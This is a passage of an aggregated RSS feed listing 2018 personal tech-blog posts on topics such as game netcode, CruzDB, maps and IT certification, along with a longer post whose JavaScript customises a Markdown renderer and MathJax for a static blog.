Input Food Simple version 1:Simple version 2:Simple version 3:Advanced v1:Advanced v2:Water Output More complex to handle</description><author>Yasha Solutions</author><pubDate>Tue, 20 Feb 2018 13:43:33 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/pet-project-litterally-rasperry-cats/</guid></item><item><title>Open Conversations – Outline</title><link>https://yasha.solutions/open-conversations-outline/</link><description>Introduction
– where we tie everything together in a sales pitch
Every conversation is an opportunity
– where we understand how exchange &amp;amp; communication is a requirement for mankind
Internet – starting the global conversation
– where conversation happens – and censorship – and fakes news – all core element of human nature – but also where learning, innovation and connecting the world is taking place
Bitcoin – Money &amp;amp; markets</description><author>Yasha Solutions</author><pubDate>Tue, 20 Feb 2018 13:09:25 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/open-conversations-outline/</guid></item><item><title>THIS post may be copyright infringement. Yes, THIS ONE</title><link>https://stop.zona-m.net/2018/02/this-post-may-be-copyright-infringement.-yes-this-one/</link><description>&lt;p&gt;Yes, you read that right. This is one reason:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 20 Feb 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/this-post-may-be-copyright-infringement.-yes-this-one/</guid></item><item><title>[2.20.18] Brushless Electric Obstacle Avoiding Snowblower</title><link>httpss://transistor-man.com/electric_snowblower_9000.html</link><description>Reviving a recycled snowblower, adding new controls and basic thermal vision.</description><author>transistor-man.com</author><pubDate>Tue, 20 Feb 2018 10:38:38 GMT</pubDate><guid isPermaLink="true">httpss://transistor-man.com/electric_snowblower_9000.html</guid></item><item><title>The Poor Man's Netcode</title><link>https://etodd.io/2018/02/20/poor-mans-netcode/</link><description>&lt;p&gt;
The more you know about a given topic, the more you realize that no one knows anything.
&lt;/p&gt;
&lt;p&gt;
For some reason (why God, why?) my topic of choice is game development. Everyone in that field agrees: don't add networked multiplayer to an existing game, you drunken clown.
&lt;/p&gt;
&lt;p&gt;
Well, I did it anyway because I hate myself. Somehow it turned out great. None of us know anything.
&lt;/p&gt;

&lt;h2&gt;Problem #1: assets&lt;/h2&gt;

&lt;p&gt;
My first question was: how do I tell a client to use such-and-such mesh to render an object?
Serialize the whole mesh? Nah, they already have it on disk.
Send its filename? Nah, that's inefficient and insecure.
Okay, just a string identifier then?
&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Tue, 20 Feb 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2018/02/20/poor-mans-netcode/</guid></item><item><title>How to Crash the iPhone with a Single Telugu Character</title><link>https://serhack.me/articles/crash-iphone-telugu-character-en/</link><description>In recent years, &lt;a href="https://apple.com"&gt;Apple&lt;/a&gt; has been heavily criticized for the security implications of their market centralization and policy of irreversible operating system updates. Mobile device users are strongly pressured to install packaged iOS upgrades that cannot be rolled back. While this practice greatly increases security for most users, there is an inherent danger to this centralization. -&lt;a href="https://serhack.me/articles/crash-iphone-telugu-character-en/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Tue, 20 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/crash-iphone-telugu-character-en/</guid></item><item><title>I'm working on a mobile game called Cobalt Dungeon</title><link>https://thomashunter.name/posts/2018-02-20-im-working-on-a-mobile-game-called-crossover</link><author>Thomas Hunter II</author><pubDate>Tue, 20 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2018-02-20-im-working-on-a-mobile-game-called-crossover</guid></item><item><title>Goodbye SS by Spike Milligan</title><link>https://ho.dges.online/words/commonplace/goodbye-ss-by-spike-milligan/</link><description>&lt;p&gt;Go away girl, go away&lt;br /&gt;
and let me pack my dreams&lt;br /&gt;
Now where did I put those yesteryears&lt;br /&gt;
made up with broken seams&lt;br /&gt;
Where shall I sweep the pieces&lt;br /&gt;
my God they still look new&lt;br /&gt;
There&amp;rsquo;s a taxi waiting at the door&lt;br /&gt;
but there&amp;rsquo;s only room for you&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Tue, 20 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/goodbye-ss-by-spike-milligan/</guid></item><item><title>An overview of transaction management in CruzDB</title><link>https://makedist.com/posts/2018/02/20/an-overview-of-transaction-management-in-cruzdb/</link><description>A shared-log creates interesting challenges for transaction management.</description><author>Noah Watkins</author><pubDate>Tue, 20 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/02/20/an-overview-of-transaction-management-in-cruzdb/</guid></item><item><title>Don't help the CSO out. Build him up!</title><link>https://blog.eutopian.io/dont-help-the-cso-out.-build-him-up/</link><description>950 words, 4 1/2 minutes. One of the reasons why organisations ultimately fail at Cyber Security, is because the office of the CSO lacks power. In this post I’ll explain why that is and what we can do about it.
Why The CSO Lacks Power The Cyber Security industry constantly strives to produce better products and services. Engineers work tirelessly to improve deployment practices. There are dozens of courses and certifications designed to improve skills.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Mon, 19 Feb 2018 17:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/dont-help-the-cso-out.-build-him-up/</guid></item><item><title>The progress behind digital loneliness</title><link>https://stop.zona-m.net/2018/02/the-progress-behind-digital-loneliness/</link><description>&lt;p&gt;I just read something that feels like &amp;ldquo;everything today&amp;rsquo;s tech is doing wrong, in ONE SENTENCE&amp;rdquo;. Then I realized another way to look at it.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 19 Feb 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/02/the-progress-behind-digital-loneliness/</guid></item><item><title>The history of IT certification</title><link>https://jasoneckert.github.io/myblog/history-of-it-certification/</link><description>&lt;p&gt;&lt;img alt="cert1" src="cert1.png#center" title="cert1" /&gt;&lt;/p&gt;
&lt;p&gt;Nearly everyone working in an Information Technology (IT) field has at least one IT-related certification. This is because IT certification is commonly used as a skills benchmark for hiring and promotion, and it’s been that way for a long, long time.&lt;/p&gt;
&lt;p&gt;So where did all this certification stuff start?  If you look online, there isn’t even a Wikipedia page that can give you that answer - like many things in the technology world that predated the Internet, it just wasn’t important enough to keep track of in the Internet Age that started in the 1990s.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Mon, 19 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/history-of-it-certification/</guid></item><item><title>Scraping my Twitter Social Graph with Python and Selenium</title><link>https://www.swyx.io/scraping-my-twitter-social-graph-with-python-and-selenium--hn8</link><description>&lt;p&gt;Using python and selenium to find better follows on Twitter&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Mon, 19 Feb 2018 01:30:05 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/scraping-my-twitter-social-graph-with-python-and-selenium--hn8</guid></item><item><title>Some are more equal than others</title><link>https://codeexplainer.wordpress.com/2018/02/18/some-are-more-equal-than-others/</link><description>&amp;#8220;And to avoid the tedious repetition of these words: is equal to: I will set as I do often in work use, a pair of parallels, or Gemowe lines of one length, thus: =, because no 2 things, can be &amp;#8230; &lt;a href="https://codeexplainer.wordpress.com/2018/02/18/some-are-more-equal-than-others/"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Code Explainer</author><pubDate>Sun, 18 Feb 2018 21:15:03 GMT</pubDate><guid isPermaLink="true">https://codeexplainer.wordpress.com/2018/02/18/some-are-more-equal-than-others/</guid></item><item><title>Online Stalking: London, Paris, New York</title><link>https://dfworks.com/blog/online_stalking_citymapper/</link><description>Citymapper is a journey planning application that integrates all modes of transport (public, cycling, walking, driving) in major urban areas…</description><author>DFWORKS | Online Threat Mitigation</author><pubDate>Sun, 18 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://dfworks.com/blog/online_stalking_citymapper/</guid></item><item><title>Testing SnailLife Go repositories</title><link>https://liza.io/testing-snaillife-go-repositories/</link><description>&lt;p&gt;Every SnailLife model struct has a repository struct to go with it. Since all repos are implementing the same Repository interface I wanted to reuse most of the code for testing them, but also allow for custom repo-specific tests. For example,&lt;code&gt;OwnerRepo&lt;/code&gt; does some stuff that &lt;code&gt;StableRepo&lt;/code&gt; does not - like optionally retrieving stables belonging to an owner.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 18 Feb 2018 13:07:00 GMT</pubDate><guid isPermaLink="true">https://liza.io/testing-snaillife-go-repositories/</guid></item><item><title>Cartographic spasms</title><link>https://rybakov.com/blog/cartographic_spasms/</link><description>&lt;p&gt;&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="shrinking_map" loop="true" poster="/video/shrinking_map/shrinking_map.jpg"&gt;
      &lt;source src="../video/shrinking_map/shrinking_map.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="shrinking_mapbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="shrinking_mappaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;The concept of a &lt;em&gt;global village&lt;/em&gt; stems from an idealistic view of a shrinking world, connected through electronic media. What is far, comes closer, nothing is out of reach anymore.&lt;/p&gt;
&lt;p&gt;Maps shape our undestanding of the physical world, so I decided to invert it. To shape the maps according to the understanding of the world - in this case according to the concept of a global village.
I shrank the world little by little by removing &lt;em&gt;empty, unused spaces&lt;/em&gt;. If they were valuable, they wouldn&amp;rsquo;t be unused, right?&lt;/p&gt;
&lt;p&gt;Maps seem true and immutable, even though every projection of the spherical planet onto a two dimensional space produces faulty results. Either the northern and southern parts appear much larger than they really are (Greenland is actually 60% the size of India, not the other way around), or the shapes are all wrong, or both. But we trust maps, we trust that what they represent is the truth.&lt;/p&gt;
&lt;p&gt;So it&amp;rsquo;s a special delight to play with this notion of cartographic immutability.
This one is a breathing map of New York.&lt;/p&gt;
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="breathing_map" loop="true" poster="/video/breathing_map/breathing_map.jpg"&gt;
      &lt;source src="../video/breathing_map/breathing_map.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="breathing_mapbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="breathing_mappaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;hr /&gt;
&lt;p&gt;What could be in this text but isn&amp;rsquo;t:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How maps shape political understanding and decisions&lt;/li&gt;
&lt;li&gt;How South America is much farther east than people commonly think. It&amp;rsquo;s really far east.&lt;/li&gt;
&lt;li&gt;The whole discourse on failed globalization, nation states and Gaia&lt;/li&gt;
&lt;li&gt;How the mental map combines positional cues with vector based cues (how humans actually navigate the world)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And here&amp;rsquo;s the code:&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 18 Feb 2018 12:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/cartographic_spasms/</guid></item><item><title>Excluding mocks from coverage reports</title><link>https://liza.io/excluding-mocks-from-coverage-reports/</link><description>&lt;p&gt;I noticed that my coverage reports were including mock packages.&lt;/p&gt;
&lt;img alt="SnailLife test coverage report including mocks" src="https://liza.io/images/snaillife/mock-coverage.png" /&gt;
&lt;p&gt;To get rid of this instead of running &lt;code&gt;go test&lt;/code&gt; like this:&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 18 Feb 2018 10:50:08 GMT</pubDate><guid isPermaLink="true">https://liza.io/excluding-mocks-from-coverage-reports/</guid></item><item><title>CruzDB is one large copy-on-write tree</title><link>https://makedist.com/posts/2018/02/18/cruzdb-is-one-large-copy-on-write-tree/</link><description>Each transaction in CruzDB is stored in a log as a copy-on-write tree delta.</description><author>Noah Watkins</author><pubDate>Sun, 18 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/02/18/cruzdb-is-one-large-copy-on-write-tree/</guid></item><item><title>Don't let status change the conversation</title><link>https://ilearnt.com/blog/statusconversations/</link><description>&lt;p&gt;I am probably like most people in that when I meet someone who I deem to be important the way I deal with them changes. It introduces a more reserved interaction with more careful responses.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 17 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/statusconversations/</guid></item><item><title>How do crypto-currencies work?</title><link>https://ilearnt.com/blog/howdocryptocurrencieswork/</link><description>&lt;p&gt;A very simple introduction to how Bitcoin works &amp;hellip; using a stuffed penguin!&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 17 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/howdocryptocurrencieswork/</guid></item><item><title>Leaders Eat Last by Simon Sinek</title><link>https://ilearnt.com/blog/leaderseatlast/</link><description>&lt;p&gt;I really liked Simon Sinek&amp;rsquo;s other books but didn&amp;rsquo;t get into this one as much - don&amp;rsquo;t get me wrong, it is still an excellent read and you can learn a lot.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 17 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/leaderseatlast/</guid></item><item><title>Unorthodox leadership by letting others drive</title><link>https://ilearnt.com/blog/unorthodoxleadership/</link><description>&lt;p&gt;Steve Kerr, the coach of the Golden State Warriors basketball team, took an usual step recently by allowing his players to coach instead of him. He felt that things had become a little staid and wanted to shake things up &amp;hellip; it worked - they won by their highest margin of the season. Sometimes leadership is knowing when to step back.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Sat, 17 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/unorthodoxleadership/</guid></item><item><title>WordPress plugins – AI &amp;amp; machine learning</title><link>https://yasha.solutions/wordpress-plugins-ai-machine-learning/</link><description>Just a list of plugin I am considering using as a base for further developments:
Kindred PostsKindred Posts uses artificial intelligence to learn how your website visitors use your site and recommends content based on their interests.(not maintained anymore but developper actively asked for people to join and keep maintaining the project… might do that… we’ll see)
WordLift – AI powered SEOWordLift helps you organize posts and pages adding facts, links and media to build websites.</description><author>Yasha Solutions</author><pubDate>Sat, 17 Feb 2018 12:28:28 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/wordpress-plugins-ai-machine-learning/</guid></item><item><title>About this blog 3</title><link>https://qubyte.codes/blog/about-this-blog-3</link><description>&lt;p&gt;It's been a while since &lt;a href="/blog/about-this-blog-2"&gt;the last entry&lt;/a&gt; about how I've
built this blog. Since it is constantly evolving, now seems as good a time as
ever to write about some of the changes I've made.&lt;/p&gt;
&lt;h3 id="netlify"&gt;Netlify&lt;/h3&gt;
&lt;p&gt;The biggest shift has been the move from a DigitalOcean droplet, with a linux
install managed by me, to &lt;a href="https://www.netlify.com/"&gt;Netlify&lt;/a&gt;. The service they
provides hooks into GitHub, and builds when new things are pushed. It also lets
me try new things out on hard-to-guess subdomains by opening pull requests
(useful for trying things out which might otherwise be risky, like updated
security headers).&lt;/p&gt;
&lt;h3 id="webmentions"&gt;Webmentions&lt;/h3&gt;
&lt;p&gt;I've said before that I'm not a fan of comments. They're complex to manage and
open to abuse. However, I do like the IndieWeb convention of using
&lt;a href="https://indieweb.org/Webmention"&gt;webmentions&lt;/a&gt; from site a to site b to notify b that a links to it.
I use a Netlify deploy hook to &lt;a href="https://glitch.com/edit/#!/send-webmentions"&gt;call a glitch&lt;/a&gt;. This little
service scans the updated blog for new links to other sites, and sends those
sites webmentions. This is currently disabled and I'm monitoring the logs to
make sure it doesn't do anything unintentional. It'll probably go active this
weekend once I've enabled signature checking.&lt;/p&gt;
&lt;p&gt;On the receiving side, my blog has a webmention form which Netlify provides a
simple backend to. I can act upon each web mention from there. This form also
allows me to include a manual webmention form at the bottom of each blog post.
Other blogs can discover the form by looking for a link tag with
&lt;code&gt;rel=&amp;quot;webmention&amp;quot;&lt;/code&gt;, which is found in the head:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&lt;span class="hljs-tag"&gt;&amp;lt;&lt;span class="hljs-name"&gt;link&lt;/span&gt; &lt;span class="hljs-attr"&gt;href&lt;/span&gt;=&lt;span class="hljs-string"&gt;&amp;quot;/webmention&amp;quot;&lt;/span&gt; &lt;span class="hljs-attr"&gt;rel&lt;/span&gt;=&lt;span class="hljs-string"&gt;&amp;quot;webmention&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since I don't expect a large volume of mentions, I'll add each to the
front matter of the blog post being mentioned. When a post has mentions, a
section listing them is added at the end of the post.&lt;/p&gt;
&lt;h3 id="payments"&gt;Payments&lt;/h3&gt;
&lt;p&gt;A nice CLI utility called &lt;a href="https://feross.org/introducing-thanks/"&gt;&lt;code&gt;thanks&lt;/code&gt;&lt;/a&gt; was recently published. It scans
your project for all the modules it uses and lists, in order of most relied
upon, collectives and authors along with their payment links. At the time of
writing, it contains a little database of module authors and collectives, and
links to ways to pay them.&lt;/p&gt;
&lt;p&gt;There's an obvious scaling problem which is addressed in
&lt;a href="https://github.com/feross/thanks/issues/2"&gt;this issue&lt;/a&gt;. The issue suggests a new field in the
&lt;code&gt;package.json&lt;/code&gt; file of a module which thanks can discover, shifting the burden
onto the module authors.&lt;/p&gt;
&lt;p&gt;Since I'm keen on IndieWeb stuff, the issue led me to wonder if there is an
IndieWeb &lt;code&gt;rel&lt;/code&gt; attribute for payments (much like that used for discovering
webmention endpoints). It turns out that there is and it's &lt;code&gt;rel=&amp;quot;payment&amp;quot;&lt;/code&gt;. It
doesn't see too much use in the wild, and it should not be the primary means of
discovering payment methods by &lt;code&gt;thanks&lt;/code&gt;, but as a fallback it could be useful.
&lt;code&gt;thanks&lt;/code&gt; would check for payment links on the project home page (from the
&lt;code&gt;homepage&lt;/code&gt; property of the &lt;code&gt;package.json&lt;/code&gt; file), followed by author URLs if
provided.&lt;/p&gt;
&lt;p&gt;I've added a link tag with this attribute to the blog as well. I don't expect it
to get used, but one can always hope! Perhaps I'll become a professional
blogger.&lt;/p&gt;
&lt;h3 id="better-links"&gt;Better links&lt;/h3&gt;
&lt;p&gt;I write my posts in markdown, and use &lt;a href="https://www.npmjs.com/package/marked"&gt;marked&lt;/a&gt; to process them. Marked
doesn't know which anchors will link out to external domains, so it compiles
then to &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags with only an &lt;code&gt;href&lt;/code&gt; attribute. When linking to external
sources, the &lt;a href="https://jakearchibald.com/2016/performance-benefits-of-rel-noopener/"&gt;current best practice&lt;/a&gt; is to add a &lt;code&gt;rel=&amp;quot;noopener&amp;quot;&lt;/code&gt;
attribute. To do this, I've slightly customised the anchor renderer of marked to
add these in:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; marked = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;marked&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; urlResolve = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;url&amp;#x27;&lt;/span&gt;).&lt;span class="hljs-property"&gt;resolve&lt;/span&gt;;
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; renderer = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; marked.&lt;span class="hljs-title class_"&gt;Renderer&lt;/span&gt;();
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; oldLinkRenderer = renderer.&lt;span class="hljs-property"&gt;link&lt;/span&gt;;

&lt;span class="hljs-comment"&gt;// In the actual code, this is fed in to a function, not a module-scoped const.&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; baseUrl = &lt;span class="hljs-string"&gt;&amp;#x27;https://qubyte.codes&amp;#x27;&lt;/span&gt;;

renderer.&lt;span class="hljs-property"&gt;link&lt;/span&gt; = &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;href, title, text&lt;/span&gt;) =&amp;gt;&lt;/span&gt; {
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; fullyQualified = &lt;span class="hljs-title function_"&gt;urlResolve&lt;/span&gt;(baseUrl, href);
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; rendered = oldLinkRenderer.&lt;span class="hljs-title function_"&gt;call&lt;/span&gt;(renderer, href, title, text);

  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (fullyQualified.&lt;span class="hljs-title function_"&gt;startsWith&lt;/span&gt;(baseUrl)) {
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; rendered;
  }

  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; rendered.&lt;span class="hljs-title function_"&gt;replace&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;&amp;lt;a &amp;#x27;&lt;/span&gt;, &lt;span class="hljs-string"&gt;&amp;#x27;&amp;lt;a target=&amp;quot;_blank&amp;quot; rel=&amp;quot;noopener&amp;quot; &amp;#x27;&lt;/span&gt;);
};

marked.&lt;span class="hljs-title function_"&gt;setOptions&lt;/span&gt;({
  &lt;span class="hljs-comment"&gt;// Some unrelated stuff skipped.&lt;/span&gt;
  renderer
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It's a hack for sure, but it works!&lt;/p&gt;
&lt;h3 id="mathematics"&gt;Mathematics&lt;/h3&gt;
&lt;p&gt;Toward the end of last year, I &lt;a href="/blog/advent-of-code-2017-day-20-task-2"&gt;wrote a post&lt;/a&gt; that required some
typeset mathematics. I used to write a lot in LaTeX, and so I already knew of
&lt;a href="https://www.mathjax.org/"&gt;MathJax&lt;/a&gt; (and was saddened to find that MathML in the browser failed
to catch on). I knew I needed to convince marked to use it, but marked currently
lacks extensibility so I couldn't define new blocks. Instead I adjusted the
behaviour of code blocks to treat blocks labelled as &lt;code&gt;mathematics&lt;/code&gt; differently:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; mathjax = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;mathjax-node&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; xml2js = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;xml2js&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; marked = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;marked&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; highlight = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;highlight.js&amp;#x27;&lt;/span&gt;);

&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; renderer = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; marked.&lt;span class="hljs-title class_"&gt;Renderer&lt;/span&gt;();
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; codeRenderer = renderer.&lt;span class="hljs-property"&gt;code&lt;/span&gt;;

&lt;span class="hljs-comment"&gt;// This function is synchronous, so I couldn&amp;#x27;t call MathJax&lt;/span&gt;
&lt;span class="hljs-comment"&gt;// in here (it&amp;#x27;s async), and must do in the highlight method.&lt;/span&gt;
renderer.&lt;span class="hljs-property"&gt;code&lt;/span&gt; = &lt;span class="hljs-keyword"&gt;function&lt;/span&gt; (&lt;span class="hljs-params"&gt;code, lang, escaped&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (lang === &lt;span class="hljs-string"&gt;&amp;#x27;mathematics&amp;#x27;&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; code;
  }

  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; codeRenderer.&lt;span class="hljs-title function_"&gt;call&lt;/span&gt;(&lt;span class="hljs-variable language_"&gt;this&lt;/span&gt;, code, lang, escaped);
};

&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;highlight&lt;/span&gt;(&lt;span class="hljs-params"&gt;code, language, callback&lt;/span&gt;) {
  &lt;span class="hljs-comment"&gt;// Non-mathematics code is syntax highlighted.&lt;/span&gt;
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (language !== &lt;span class="hljs-string"&gt;&amp;#x27;mathematics&amp;#x27;&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-title function_"&gt;callback&lt;/span&gt;(&lt;span class="hljs-literal"&gt;null&lt;/span&gt;, highlight.&lt;span class="hljs-title function_"&gt;highlight&lt;/span&gt;(language, code).&lt;span class="hljs-property"&gt;value&lt;/span&gt;);
  }

  &lt;span class="hljs-comment"&gt;// Render with MathJax.&lt;/span&gt;
  mathjax.&lt;span class="hljs-title function_"&gt;typeset&lt;/span&gt;({ &lt;span class="hljs-attr"&gt;math&lt;/span&gt;: code, &lt;span class="hljs-attr"&gt;format&lt;/span&gt;: &lt;span class="hljs-string"&gt;&amp;#x27;TeX&amp;#x27;&lt;/span&gt;, &lt;span class="hljs-attr"&gt;svg&lt;/span&gt;: &lt;span class="hljs-literal"&gt;true&lt;/span&gt; }, &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;{ errors, svg }&lt;/span&gt;) =&amp;gt;&lt;/span&gt; {
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (errors) {
      &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-title function_"&gt;callback&lt;/span&gt;(errors);
    }

    &lt;span class="hljs-comment"&gt;// MathJax puts some unnecessary inline style in the output&lt;/span&gt;
    &lt;span class="hljs-comment"&gt;// which my server response headers disagree with. The below&lt;/span&gt;
    &lt;span class="hljs-comment"&gt;// strips those out, and adds a &amp;quot;mathematics&amp;quot; classname to&lt;/span&gt;
    &lt;span class="hljs-comment"&gt;// the resultant SVG for styling.&lt;/span&gt;
    xml2js.&lt;span class="hljs-title function_"&gt;parseString&lt;/span&gt;(rendered, &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;err, xmlobj&lt;/span&gt;) =&amp;gt;&lt;/span&gt; {
      &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (err) {
        &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-title function_"&gt;callback&lt;/span&gt;(err);
      }

      &lt;span class="hljs-keyword"&gt;delete&lt;/span&gt; xmlobj.&lt;span class="hljs-property"&gt;svg&lt;/span&gt;.&lt;span class="hljs-property"&gt;$&lt;/span&gt;.&lt;span class="hljs-property"&gt;style&lt;/span&gt;;

      xmlobj.&lt;span class="hljs-property"&gt;svg&lt;/span&gt;.&lt;span class="hljs-property"&gt;$&lt;/span&gt;.&lt;span class="hljs-property"&gt;class&lt;/span&gt; = &lt;span class="hljs-string"&gt;&amp;#x27;mathematics&amp;#x27;&lt;/span&gt;;

      &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; builder = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; xml2js.&lt;span class="hljs-title class_"&gt;Builder&lt;/span&gt;({ &lt;span class="hljs-attr"&gt;headless&lt;/span&gt;: &lt;span class="hljs-literal"&gt;true&lt;/span&gt; });

      &lt;span class="hljs-title function_"&gt;callback&lt;/span&gt;(&lt;span class="hljs-literal"&gt;null&lt;/span&gt;, builder.&lt;span class="hljs-title function_"&gt;buildObject&lt;/span&gt;(xmlobj));
    });
  });
},

marked.&lt;span class="hljs-title function_"&gt;setOptions&lt;/span&gt;({
  highlight,
  renderer
});
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I'm very happy with how it turned out, but I do look forward to a more direct
means to add functionality to marked.&lt;/p&gt;
&lt;h3 id="not-a-progressive-web-app"&gt;Not a progressive web app&lt;/h3&gt;
&lt;p&gt;For a while this blog had a service worker and an app manifest. You could even
&amp;quot;install&amp;quot; it on android phones. The caching strategy I was using was a bit wonky
though. Any time hashes changed (common when I updated CSS, since each update to
the CSS gets a new filename for caching reasons), a visit to any page would lead
to the entire blog being downloaded. In the end I came to the conclusion that
being a progressive web app was not good for readers bandwidth in this case and
the only reason for me to have it was vanity.&lt;/p&gt;
&lt;p&gt;A gutted service worker remains purely to clear the cache, so that a new script
can be loaded which will uninstall the service worker for good.&lt;/p&gt;
&lt;h3 id="refactoring"&gt;Refactoring&lt;/h3&gt;
&lt;p&gt;Since the blog software (the static site generator) was built, async-await
became a feature of JavaScript. The generator has been substantially revised
to make use of promises and async-await, and is far more compact and readable
as a result. The code comes in at a little under 300 source lines, not counting
templates.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sat, 17 Feb 2018 04:40:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/about-this-blog-3</guid></item><item><title>Powers of Tau Ceremony</title><link>https://sal.dev/crypto/powers-of-tau/</link><description>&lt;p&gt;I got to take part in a crypto ceremony that I heard about on Radiolab. It was surprisingly easy to participate.&lt;/p&gt;

